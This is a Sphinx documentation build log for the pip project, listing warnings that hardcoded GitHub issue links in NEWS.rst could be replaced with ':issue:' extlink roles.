/Users/pradyunsg/Developer/pip/NEWS.rst:1122: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7155' could be replaced by an extlink (try using ':issue:`7155`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1123: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5716' could be replaced by an extlink (try using ':issue:`5716`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1124: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6410' could be replaced by an extlink (try using ':issue:`6410`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1126: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6426' could be replaced by an extlink (try using ':issue:`6426`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1127: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6599' could be replaced by an extlink (try using ':issue:`6599`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1128: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6642' could be replaced by an extlink (try using ':issue:`6642`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1130: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6783' could be replaced by an extlink (try using ':issue:`6783`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1132: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7191' could be replaced by an extlink (try using ':issue:`7191`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1133: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7193' could be replaced by an extlink (try using ':issue:`7193`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1134: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7207' could be replaced by an extlink (try using ':issue:`7207`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1135: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3025' could be replaced by an extlink (try using ':issue:`3025`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1135: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7296' could be replaced by an extlink (try using ':issue:`7296`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1140: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7333' could be replaced by an extlink (try using ':issue:`7333`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1141: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7340' could be replaced by an extlink (try using ':issue:`7340`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1143: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7393' could be replaced by an extlink (try using ':issue:`7393`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1144: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7488' could be replaced by an extlink (try using ':issue:`7488`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1146: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7541' could be replaced by an extlink (try using ':issue:`7541`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1165: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7182' could be replaced by an extlink (try using ':issue:`7182`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1166: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7197' could be replaced by an extlink (try using ':issue:`7197`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1167: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7201' could be replaced by an extlink (try using ':issue:`7201`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1168: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7222' could be replaced by an extlink (try using ':issue:`7222`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1169: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7347' could be replaced by an extlink (try using ':issue:`7347`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1170: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7385' could be replaced by an extlink (try using ':issue:`7385`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1181: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7219' could be replaced by an extlink (try using ':issue:`7219`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1186: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6606' could be replaced by an extlink (try using ':issue:`6606`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1197: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7037' could be replaced by an extlink (try using ':issue:`7037`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1200: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7163' could be replaced by an extlink (try using ':issue:`7163`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1205: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3191' could be replaced by an extlink (try using ':issue:`3191`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1207: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6858' could be replaced by an extlink (try using ':issue:`6858`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1208: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6886' could be replaced by an extlink (try using ':issue:`6886`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1209: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6891' could be replaced by an extlink (try using ':issue:`6891`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1210: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7102' could be replaced by an extlink (try using ':issue:`7102`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1218: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3907' could be replaced by an extlink (try using ':issue:`3907`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1220: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3942' could be replaced by an extlink (try using ':issue:`3942`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1221: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4358' could be replaced by an extlink (try using ':issue:`4358`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1222: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4910' could be replaced by an extlink (try using ':issue:`4910`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1223: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5306' could be replaced by an extlink (try using ':issue:`5306`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1224: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6202' could be replaced by an extlink (try using ':issue:`6202`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1226: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6213' could be replaced by an extlink (try using ':issue:`6213`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1227: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6705' could be replaced by an extlink (try using ':issue:`6705`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1229: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6763' could be replaced by an extlink (try using ':issue:`6763`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1231: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6770' could be replaced by an extlink (try using ':issue:`6770`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1232: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6795' could be replaced by an extlink (try using ':issue:`6795`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1233: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6804' could be replaced by an extlink (try using ':issue:`6804`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1235: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6841' could be replaced by an extlink (try using ':issue:`6841`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1236: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6885' could be replaced by an extlink (try using ':issue:`6885`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1237: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6890' could be replaced by an extlink (try using ':issue:`6890`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1239: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6892' could be replaced by an extlink (try using ':issue:`6892`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1241: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6924' could be replaced by an extlink (try using ':issue:`6924`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1242: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6947' could be replaced by an extlink (try using ':issue:`6947`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1243: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6954' could be replaced by an extlink (try using ':issue:`6954`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1244: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6991' could be replaced by an extlink (try using ':issue:`6991`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1245: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7071' could be replaced by an extlink (try using ':issue:`7071`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1246: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7118' could be replaced by an extlink (try using ':issue:`7118`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1246: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7119' could be replaced by an extlink (try using ':issue:`7119`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1265: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6516' could be replaced by an extlink (try using ':issue:`6516`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1266: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6637' could be replaced by an extlink (try using ':issue:`6637`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1267: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6794' could be replaced by an extlink (try using ':issue:`6794`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1278: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6885' could be replaced by an extlink (try using ':issue:`6885`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1289: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6795' could be replaced by an extlink (try using ':issue:`6795`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1290: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6804' could be replaced by an extlink (try using ':issue:`6804`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1302: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6772' could be replaced by an extlink (try using ':issue:`6772`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1314: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6685' could be replaced by an extlink (try using ':issue:`6685`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1315: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6549' could be replaced by an extlink (try using ':issue:`6549`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1320: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5948' could be replaced by an extlink (try using ':issue:`5948`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1321: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3799' could be replaced by an extlink (try using ':issue:`3799`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1322: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6587' could be replaced by an extlink (try using ':issue:`6587`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1323: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6633' could be replaced by an extlink (try using ':issue:`6633`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1325: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5874' could be replaced by an extlink (try using ':issue:`5874`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1327: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5082' could be replaced by an extlink (try using ':issue:`5082`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1329: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6638' could be replaced by an extlink (try using ':issue:`6638`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1331: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5169' could be replaced by an extlink (try using ':issue:`5169`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1332: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5499' could be replaced by an extlink (try using ':issue:`5499`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1333: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6585' could be replaced by an extlink (try using ':issue:`6585`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1335: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5908' could be replaced by an extlink (try using ':issue:`5908`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1337: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6121' could be replaced by an extlink (try using ':issue:`6121`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1339: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6404' could be replaced by an extlink (try using ':issue:`6404`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1341: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6551' could be replaced by an extlink (try using ':issue:`6551`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1347: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/1890' could be replaced by an extlink (try using ':issue:`1890`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1349: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5369' could be replaced by an extlink (try using ':issue:`5369`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1351: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5518' could be replaced by an extlink (try using ':issue:`5518`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1353: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5671' could be replaced by an extlink (try using ':issue:`5671`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1354: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5963' could be replaced by an extlink (try using ':issue:`5963`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1355: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6008' could be replaced by an extlink (try using ':issue:`6008`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1356: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6371' could be replaced by an extlink (try using ':issue:`6371`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1358: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6383' could be replaced by an extlink (try using ':issue:`6383`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1360: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6386' could be replaced by an extlink (try using ':issue:`6386`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1362: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6413' could be replaced by an extlink (try using ':issue:`6413`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1365: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6489' could be replaced by an extlink (try using ':issue:`6489`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1366: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6513' could be replaced by an extlink (try using ':issue:`6513`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1368: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6527' could be replaced by an extlink (try using ':issue:`6527`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1370: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6543' could be replaced by an extlink (try using ':issue:`6543`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1370: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6675' could be replaced by an extlink (try using ':issue:`6675`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1371: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6648' could be replaced by an extlink (try using ':issue:`6648`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1372: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6651' could be replaced by an extlink (try using ':issue:`6651`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1387: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6726' could be replaced by an extlink (try using ':issue:`6726`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1388: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6471' could be replaced by an extlink (try using ':issue:`6471`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1389: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6724' could be replaced by an extlink (try using ':issue:`6724`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1390: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6512' could be replaced by an extlink (try using ':issue:`6512`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1391: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4733' could be replaced by an extlink (try using ':issue:`4733`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1401: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6434' could be replaced by an extlink (try using ':issue:`6434`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1407: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6440' could be replaced by an extlink (try using ':issue:`6440`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1419: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5060' could be replaced by an extlink (try using ':issue:`5060`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1420: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5443' could be replaced by an extlink (try using ':issue:`5443`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1421: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5499' could be replaced by an extlink (try using ':issue:`5499`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1423: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5549' could be replaced by an extlink (try using ':issue:`5549`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1425: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5749' could be replaced by an extlink (try using ':issue:`5749`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1427: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6290' could be replaced by an extlink (try using ':issue:`6290`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1429: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6298' could be replaced by an extlink (try using ':issue:`6298`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1430: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6305' could be replaced by an extlink (try using ':issue:`6305`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1432: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6314' could be replaced by an extlink (try using ':issue:`6314`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1434: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6319' could be replaced by an extlink (try using ':issue:`6319`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1439: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/1219' could be replaced by an extlink (try using ':issue:`1219`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1441: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4195' could be replaced by an extlink (try using ':issue:`4195`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1442: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5175' could be replaced by an extlink (try using ':issue:`5175`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1443: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5889' could be replaced by an extlink (try using ':issue:`5889`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1444: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5892' could be replaced by an extlink (try using ':issue:`5892`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1445: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6054' could be replaced by an extlink (try using ':issue:`6054`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1448: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6285' could be replaced by an extlink (try using ':issue:`6285`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1449: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6295' could be replaced by an extlink (try using ':issue:`6295`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1450: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6312' could be replaced by an extlink (try using ':issue:`6312`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1453: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6370' could be replaced by an extlink (try using ':issue:`6370`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1456: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6419' could be replaced by an extlink (try using ':issue:`6419`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1470: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6422' could be replaced by an extlink (try using ':issue:`6422`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1482: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6252' could be replaced by an extlink (try using ':issue:`6252`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1483: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6266' could be replaced by an extlink (try using ':issue:`6266`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1495: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6197' could be replaced by an extlink (try using ':issue:`6197`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1498: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6170' could be replaced by an extlink (try using ':issue:`6170`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1500: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6163' could be replaced by an extlink (try using ':issue:`6163`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1505: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6165' could be replaced by an extlink (try using ':issue:`6165`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1506: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6169' could be replaced by an extlink (try using ':issue:`6169`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1507: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6194' could be replaced by an extlink (try using ':issue:`6194`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1508: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6196' could be replaced by an extlink (try using ':issue:`6196`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1509: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6207' could be replaced by an extlink (try using ':issue:`6207`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1515: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5815' could be replaced by an extlink (try using ':issue:`5815`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1526: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6158' could be replaced by an extlink (try using ':issue:`6158`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1526: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6171' could be replaced by an extlink (try using ':issue:`6171`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1537: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6106' could be replaced by an extlink (try using ':issue:`6106`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1538: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6148' could be replaced by an extlink (try using ':issue:`6148`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1540: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6060' could be replaced by an extlink (try using ':issue:`6060`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1541: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5866' could be replaced by an extlink (try using ':issue:`5866`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1547: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5743' could be replaced by an extlink (try using ':issue:`5743`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1548: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5008' could be replaced by an extlink (try using ':issue:`5008`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1551: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5656' could be replaced by an extlink (try using ':issue:`5656`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1552: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5943' could be replaced by an extlink (try using ':issue:`5943`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1553: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5827' could be replaced by an extlink (try using ':issue:`5827`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1554: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6141' could be replaced by an extlink (try using ':issue:`6141`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1559: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3055' could be replaced by an extlink (try using ':issue:`3055`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1560: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4746' could be replaced by an extlink (try using ':issue:`4746`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1560: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6124' could be replaced by an extlink (try using ':issue:`6124`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1561: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3055' could be replaced by an extlink (try using ':issue:`3055`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1562: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5147' could be replaced by an extlink (try using ':issue:`5147`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1563: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4833' could be replaced by an extlink (try using ':issue:`4833`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1564: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5270' could be replaced by an extlink (try using ':issue:`5270`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1564: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5483' could be replaced by an extlink (try using ':issue:`5483`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1565: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4170' could be replaced by an extlink (try using ':issue:`4170`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1566: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5385' could be replaced by an extlink (try using ':issue:`5385`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1567: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5839' could be replaced by an extlink (try using ':issue:`5839`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1568: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5838' could be replaced by an extlink (try using ':issue:`5838`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1569: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5737' could be replaced by an extlink (try using ':issue:`5737`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1570: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5868' could be replaced by an extlink (try using ':issue:`5868`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1571: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5841' could be replaced by an extlink (try using ':issue:`5841`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1572: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5848' could be replaced by an extlink (try using ':issue:`5848`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1573: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5031' could be replaced by an extlink (try using ':issue:`5031`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1574: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4759' could be replaced by an extlink (try using ':issue:`4759`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1575: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5870' could be replaced by an extlink (try using ':issue:`5870`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1576: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5968' could be replaced by an extlink (try using ':issue:`5968`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1577: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5735' could be replaced by an extlink (try using ':issue:`5735`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1582: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5213' could be replaced by an extlink (try using ':issue:`5213`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1599: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5958' could be replaced by an extlink (try using ':issue:`5958`' instead)
